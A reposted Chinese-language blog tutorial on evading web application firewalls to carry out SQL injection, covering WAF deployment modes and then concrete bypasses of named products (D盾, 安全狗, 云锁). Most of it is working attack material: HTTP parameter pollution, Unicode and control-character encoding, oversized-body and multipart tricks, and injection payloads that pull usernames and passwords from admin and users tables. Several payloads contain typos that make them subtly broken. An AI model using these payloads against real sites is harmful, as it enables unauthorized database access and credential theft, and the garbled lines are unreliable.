sql陳述句waf繞過
什么是waf
waf是專門針對Web應用的防火墻,屬于細分領域的針對性防火墻
攻擊特點:
攻擊二象性:已知攻擊與未知攻擊
攻擊維度:形式與漏洞
waf核心原理:
運用黑、白思想
特征匹配、漏洞簽名
對匹配結果進行回應(攔截、記錄)
waf主流產品形態
云WAF
1.阿里云盾
2.騰訊網站管家
3.創宇盾
4.CloudFlare等
軟體產品類
安全狗
云鎖
360主機衛士
ModSecurity等
硬體設備類
啟明星辰
綠盟
天融信
飛塔等
waf的部署模式
# 基于DNS決議
修改DNS,讓域名決議到反向代理服務器,所有流量經過反向代理進行檢測,檢測無問題之后再轉發給后端的Web服務器
用戶端瀏覽器->DNS決議->xx云WAF->WEB服務器
# 串聯模式
反向代理模式、透明代理模式,反向代理模式會改變原有網路拓撲,真實客戶端IP會以http header傳至后端WEB server ,透明代理模式可以在不改變原有網路拓撲結構的情況下直接部署
反向代理:提前配置好域名和目的服務器轉發規則 在站點和規則較多的情況下 轉發規則等配置較復雜
透明代理模式:監控tcp連接 在用戶無感知的情況下代理會話 基于橋模式進行轉發,從web客戶端的角度來看,web客戶端仍是直接訪問服務器,特點是:對網路的改動最小,可以實作零配置部署
# 旁路模式
利用流量鏡像技術,將業務流量分流給WAF產品,這種部署模式的優點是不會影響業務的穩定性所以waf會投入更多的性能在檢出率上面 缺點 不借助其他手段無法對檢測出的行為進行阻斷 流量只進不出
特點:在waf出故障的情況下 不影響業務的連續性,需要聯動其他設備來下發阻斷策略
# 軟體嵌入中間件+檢測引擎模式
在使用Ngainx作為反向代理的業務下,WAF提供Ngainx模塊嵌入原有Nginx,將請求轉發給檢測引擎,可以做到在不改動原有網路拓撲的情況下完成檢測任務
waf繞過原理
安全與業務性能不可兼得
WAF為了考慮通用性的問題 ,無法覆寫100%某些語言、中間件、資料庫的特性
硬體waf自身往往存在漏洞
waf繞過角度
架構 :基于DNS決議
規則缺陷/特性:類似正則匹配 資料庫特性 中間件特性
協議:HTTP0.9版本 TCP長連接
架構層面
尋找真實服務器IP
云WAF是通過修改DNS決議來隱藏了真實ip
查找域名歷史決議記錄
利用郵件發送功能中的源地址
域名歷史決議<https://community.riskiq.com/search>
利用畸形資料包繞過(硬體waf)
超長資料包(資源大小限制)
畸形協議,如HTTP不同的請求方法污染、多個同樣的頭部
這種情況主要是讓硬體WAF產生硬體BYPASS,流量直接轉發給后端服務器
利用waf的SSl 缺陷
WAF對某些SSL演算法的不支持
如 YLSv1 256 bits ECDHE-RSA-AES256-SHA
旁路模式中有效
規則缺陷/特性
特殊的百分號
環境:僅在IIS+ASP
UNICODE編碼
IIS支持Unicode編碼字符的決議,對于select中的字符進行unicode編碼,可以得到如下的s%u006c%u0006tct 這種字符在IIS接收到后被轉換為select,但是對于WAF層 可能接收到的內容還是s%u006c%u0006tct 這樣就會形成bypass的可能
字符 Unicode編碼
a %u0000 %u0041 %u0061 %u00aa %u00e2
' %u0027 %u02b9 %u02bc %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7
HPP(HTTP引數污染)
當查詢字串多次出現同一個key時 根據容器不同會得到不同的結果
例如GET提交:id=123&id=456
|
? iis+aps/asp.net
? |
id=123,456
payload:id=-1 union+select+username,password/*&id=*/from+admin+limit 1
id=-1 union+select+username,password/*&id=*/from+admin+limit 1->waf規則匹配不上->IIS+ASP/ASPX(WEB服務器)->id=-1 union+select+username,password/*&id=*/from+admin+limit 1 ->資料庫->select id,contents from news where id=-1 union select usename,password from admin limit 1
APS/IIS part1=val1,val2
PHP/APACHE par1=val2
jsp,servlet/apache tomocat par1=val1
畸形method
某些WAF在處理資料的時候嚴格按照GET、POST等標準HTTP方法來獲取資料,或者采用正則匹配的方式來處理資料,可能因為WAF和WEB服務決議的前后不對等繞過WAF
存在環境:Apache 2.x
某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容
把GET替換成任意字母
引數數量限制
WAF在實際環境中為防止拒絕服務式攻擊 默認最多決議前100個請求引數,更多的引數將直接忽略
存在環境:Nginx+Lua WAF
變換請求方式
假如php里使用$_REQUEST獲取引數,那么php獲取引數的默認優先級是 $_COOKIE>$_POST>$_GET 此時WAF層只過濾get/post 但沒有過濾cookie 于是導致了繞過
存在環境:PHP
urlencode和form-data轉換
POST在提交資料的時候有兩種方式,第一種方式是使用urlencode的方式提交,第二種方式是使用form-data的方式提交.使用form-data的方式去提交可以繞過某些WAF,如第一節課中的實體就利用到了該方法.
D盾BYPASS MSSQL資料庫注入
MSSQL特性
select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin
位置1
可利用其他控制字符替換空格:%01~%F、%11~%1F
可利用注釋符號:/**/
可利用數字運算以及資料型別 news_id=1.1,news_id=1e0,news_id=1-1
位置2
可利用其他控制字符替換空格:%01~%0F、%11~%1F
可利用注釋符號:/**/
可利用冒號:union:select
位置3
可利用其他控制字符替換空格:%01~%0F、%11~%1F
可利用注釋符號:/**/
可利用其他符號:+、-、~、:、.
位置4
可利用其他控制字符替換空格:%01~%0F、%11~%1F
可利用注釋符號:/**/
可利用其他字符:%80~%FF
位置5
可利用其他控制字符替換空格:%01~%0F、%11~%1F
可利用注釋符號:/**/
可利用冒號:union:select
可利用其他字符::、.、%80~%FF
D盾不攔截COOKIE 變換請求
繞過安全狗
所謂的BYPASS WAF實際上是去尋找位于WAF設備之后處理應用層資料包的硬體/軟體的特性,利用特性構造WAF不能命中,但是在應用程式能夠執行的payload 繞過防護
環境:安全狗Apache最新版+apache2.4+Windows
靶場:DVWA
1.超長資料包BYPASS
GET型請求轉POST型
Content-Length長度大于4008
正常引數放置在臟資料后面,否則無效
2.空格替換BYPASS
拒絕傳統的%20 使用%09 %0a %0b %08....
GET型請求轉POST型
payload=1'--%0d%0aunion--%d%0aselect+null.concat_ws(char(32,58,32),user,password)--+%0afrom--+%0ausers+#
3.協議轉換BYPASS
使用表單請求中的multipart/form-data
關鍵詞換行
payload:轉換Content-Type:multipart/form-data;boundary=-----xxxxxx
------xxxx
Content-Disposition:name="id"
1' union
select
null,
concat_ws(char(32,58,32),user,password)
from users#
繞過云鎖WAF
云鎖WAF特性
WAF資源限制角度
假如HTTP請求POST BODY太大,檢測所有的內容,WAF集群消耗太大的CPU、記憶體資源,因此許多WAF只檢測前面2M或4M的內容,對于攻擊者而言 只需要在POST BODY前面添加許多無用資料,把攻擊PAYLOAD放在最后即可繞過WAF檢測
Urlencode特性
HTML5 URL編碼
BYPASS云鎖 MYSQL資料庫注入
MYSQL特性
select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin
位置1
可利用其他控制字符替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注釋符號:/** /、#test%0d%0a、--+a
可利用數學運算以及資料型別:news_id=1.1,news_id=1E0,news_id=\N
位置2
可利用其他控制字符替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注釋符號:/** /、#test%0d%0a、--+a
可利用括號:union(select 1,2)
位置3
可利用其他控制字符替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注釋符號:/** /、#test%0d%0a、--+a
可利用其他符號:+、-、~、!、@
位置4
可利用其他控制字符替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注釋符號:/** /、#test%0d%0a、--+a
可利用數學運算以及資料型別:
union select user(),2.0 from admin
union select user(),8e0from admin
union select user(),\Nfrom admin
位置5
可利用其他控制字符替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注釋符號:/** /、#test%0d%0a、--+a
`號 : unoion select 1 schema_name from `information_schema`.SCHEMATA limit 0,1)
行內注釋:union select
1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/limit 0,1)
{號: id=1 union select 1,(select(schema_name)from{x information_schema.SCHEMATA}limit 0,1)
(號 id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA)limit 0,1)
資源限制長度繞云鎖 通殺!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/71758.html
標籤:其他
上一篇:wifi滲透
下一篇:安全自動化和IACD框架
